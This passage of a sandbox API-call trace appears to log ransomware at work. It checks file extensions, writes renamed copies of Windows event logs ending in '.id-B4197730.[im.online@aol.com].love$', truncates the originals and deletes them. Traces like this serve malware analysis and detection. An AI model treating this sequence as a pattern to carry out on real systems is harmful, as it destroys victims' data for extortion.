(lpString=".7z") returned 3 [0224.528] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.528] lstrlenW (lpString=".dbf") returned 4 [0224.528] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.528] lstrlenW (lpString=".1cd") returned 4 [0224.528] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.528] lstrlenW (lpString=".jpg") returned 4 [0224.528] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.820] lstrlenW (lpString=".doc") returned 4 [0224.820] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.820] lstrlenW (lpString=".docx") returned 5 [0224.820] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.820] lstrlenW (lpString=".pdf") returned 4 [0224.820] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.820] lstrlenW (lpString=".xls") returned 4 [0224.820] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.820] lstrlenW (lpString=".xlsx") returned 5 [0224.820] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.820] lstrlenW (lpString=".ppt") returned 4 [0224.820] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.820] lstrlenW (lpString=".zip") returned 4 [0224.820] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.820] lstrlenW (lpString=".rar") returned 4 [0224.820] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.820] lstrlenW (lpString=".bz2") returned 4 [0224.820] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.820] lstrlenW (lpString=".7z") returned 3 [0224.820] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.820] lstrlenW (lpString=".dbf") returned 4 [0224.820] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.820] lstrlenW (lpString=".1cd") returned 4 [0224.820] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.821] lstrlenW (lpString=".jpg") returned 4 [0224.821] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.821] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.821] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0224.821] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0224.860] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0224.860] CloseHandle (hObject=0x404) returned 1 [0224.860] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0224.860] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.860] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0224.860] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.860] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.860] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0224.861] GetLastError () returned 0x0 [0224.861] ReadFile (in: hFile=0x404, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.891] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.894] ReadFile (in: hFile=0x404, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0224.894] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x132, lpOverlapped=0x0) returned 1 [0224.894] SetEndOfFile (hFile=0x3b8) returned 1 [0224.894] CloseHandle (hObject=0x3b8) returned 1 [0224.898] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.898] SetEndOfFile (hFile=0x404) returned 1 [0224.899] CloseHandle (hObject=0x404) returned 1 [0224.899] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.900] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0224.901] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.901] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.901] lstrlenW (lpString=".doc") returned 4 [0224.901] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.901] lstrlenW (lpString=".docx") returned 5 [0224.901] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.901] lstrlenW (lpString=".pdf") returned 4 [0224.901] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.901] lstrlenW (lpString=".xls") returned 4 [0224.901] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.901] lstrlenW (lpString=".xlsx") returned 5 [0224.901] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.901] lstrlenW (lpString=".ppt") returned 4 [0224.901] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.901] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.901] lstrlenW (lpString=".zip") returned 4 [0224.901] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.901] lstrlenW (lpString=".rar") returned 4 [0224.901] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.901] lstrlenW (lpString=".bz2") returned 4 [0224.901] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.901] lstrlenW (lpString=".7z") returned 3 [0224.901] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.901] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.902] lstrlenW (lpString=".dbf") returned 4 [0224.902] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.902] lstrlenW (lpString=".1cd") returned 4 [0224.902] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.902] lstrlenW (lpString=".jpg") returned 4 [0224.902] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.902] lstrlenW (lpString=".doc") returned 4 [0224.902] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString=".docx") returned 5 [0224.902] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.902] lstrlenW (lpString=".pdf") returned 4 [0224.902] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString=".xls") returned 4 [0224.902] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString=".xlsx") returned 5 [0224.902] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.902] lstrlenW (lpString=".ppt") returned 4 [0224.902] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.902] lstrlenW (lpString=".zip") returned 4 [0224.902] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString=".rar") returned 4 [0224.902] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString=".bz2") returned 4 [0224.902] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.902] lstrlenW (lpString=".7z") returned 3 [0224.903] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.903] lstrlenW (lpString=".dbf") returned 4 [0224.903] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.903] lstrlenW (lpString=".1cd") returned 4 [0224.903] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0224.903] lstrlenW (lpString=".jpg") returned 4 [0224.903] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.903] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.903] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0224.903] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0224.903] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0224.903] CloseHandle (hObject=0x404) returned 1 [0224.904] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0224.904] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.904] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0224.904] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.904] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.904] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0224.905] GetLastError () returned 0x0 [0224.905] ReadFile (in: hFile=0x404, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.932] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.935] ReadFile (in: hFile=0x404, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0224.935] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x116, lpOverlapped=0x0) returned 1 [0224.935] SetEndOfFile (hFile=0x3b8) returned 1 [0224.936] CloseHandle (hObject=0x3b8) returned 1 [0224.939] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.939] SetEndOfFile (hFile=0x404) returned 1 [0224.941] CloseHandle (hObject=0x404) returned 1 [0224.941] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.941] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0224.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.942] lstrlenW (lpString=".doc") returned 4 [0224.942] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.942] lstrlenW (lpString=".docx") returned 5 [0224.942] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.942] lstrlenW (lpString=".pdf") returned 4 [0224.942] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.942] lstrlenW (lpString=".xls") returned 4 [0224.942] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.942] lstrlenW (lpString=".xlsx") returned 5 [0224.942] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.942] lstrlenW (lpString=".ppt") returned 4 [0224.942] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.942] lstrlenW (lpString=".zip") returned 4 [0224.942] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.942] lstrlenW (lpString=".rar") returned 4 [0224.943] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.943] lstrlenW (lpString=".bz2") returned 4 [0224.943] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.943] lstrlenW (lpString=".7z") returned 3 [0224.943] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.943] lstrlenW (lpString=".dbf") returned 4 [0224.943] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.943] lstrlenW (lpString=".1cd") returned 4 [0224.943] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.943] lstrlenW (lpString=".jpg") returned 4 [0224.943] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.943] lstrlenW (lpString=".doc") returned 4 [0224.943] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.943] lstrlenW (lpString=".docx") returned 5 [0224.943] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.943] lstrlenW (lpString=".pdf") returned 4 [0224.943] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.943] lstrlenW (lpString=".xls") returned 4 [0224.943] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.944] lstrlenW (lpString=".xlsx") returned 5 [0224.944] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.944] lstrlenW (lpString=".ppt") returned 4 [0224.944] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.944] lstrlenW (lpString=".zip") returned 4 [0224.944] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.944] lstrlenW (lpString=".rar") returned 4 [0224.944] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.944] lstrlenW (lpString=".bz2") returned 4 [0224.944] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.944] lstrlenW (lpString=".7z") returned 3 [0224.944] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.944] lstrlenW (lpString=".dbf") returned 4 [0224.944] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.944] lstrlenW (lpString=".1cd") returned 4 [0224.944] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0224.944] lstrlenW (lpString=".jpg") returned 4 [0224.944] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.945] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.945] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0224.945] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0224.945] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0224.945] CloseHandle (hObject=0x404) returned 1 [0224.945] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0224.945] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.946] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0224.946] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.946] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.946] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0224.946] GetLastError () returned 0x0 [0224.946] ReadFile (in: hFile=0x404, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0225.167] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0225.170] ReadFile (in: hFile=0x404, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0225.170] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x124, lpOverlapped=0x0) returned 1 [0225.170] SetEndOfFile (hFile=0x3b8) returned 1 [0225.281] CloseHandle (hObject=0x3b8) returned 1 [0225.284] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0225.284] SetEndOfFile (hFile=0x404) returned 1 [0225.286] CloseHandle (hObject=0x404) returned 1 [0225.286] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0225.287] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0225.507] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.508] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.508] lstrlenW (lpString=".doc") returned 4 [0225.508] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.508] lstrlenW (lpString=".docx") returned 5 [0225.508] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.526] lstrlenW (lpString=".pdf") returned 4 [0225.526] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.526] lstrlenW (lpString=".xls") returned 4 [0225.526] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.526] lstrlenW (lpString=".xlsx") returned 5 [0225.526] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.526] lstrlenW (lpString=".ppt") returned 4 [0225.526] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.526] lstrlenW (lpString=".zip") returned 4 [0225.526] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.526] lstrlenW (lpString=".rar") returned 4 [0225.526] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.526] lstrlenW (lpString=".bz2") returned 4 [0225.526] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.527] lstrlenW (lpString=".7z") returned 3 [0225.527] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.527] lstrlenW (lpString=".dbf") returned 4 [0225.527] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.527] lstrlenW (lpString=".1cd") returned 4 [0225.527] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.527] lstrlenW (lpString=".jpg") returned 4 [0225.527] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.527] lstrlenW (lpString=".doc") returned 4 [0225.527] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.527] lstrlenW (lpString=".docx") returned 5 [0225.527] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.527] lstrlenW (lpString=".pdf") returned 4 [0225.527] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.527] lstrlenW (lpString=".xls") returned 4 [0225.527] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.527] lstrlenW (lpString=".xlsx") returned 5 [0225.527] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.527] lstrlenW (lpString=".ppt") returned 4 [0225.527] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.528] lstrlenW (lpString=".zip") returned 4 [0225.528] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.528] lstrlenW (lpString=".rar") returned 4 [0225.528] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.528] lstrlenW (lpString=".bz2") returned 4 [0225.528] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.528] lstrlenW 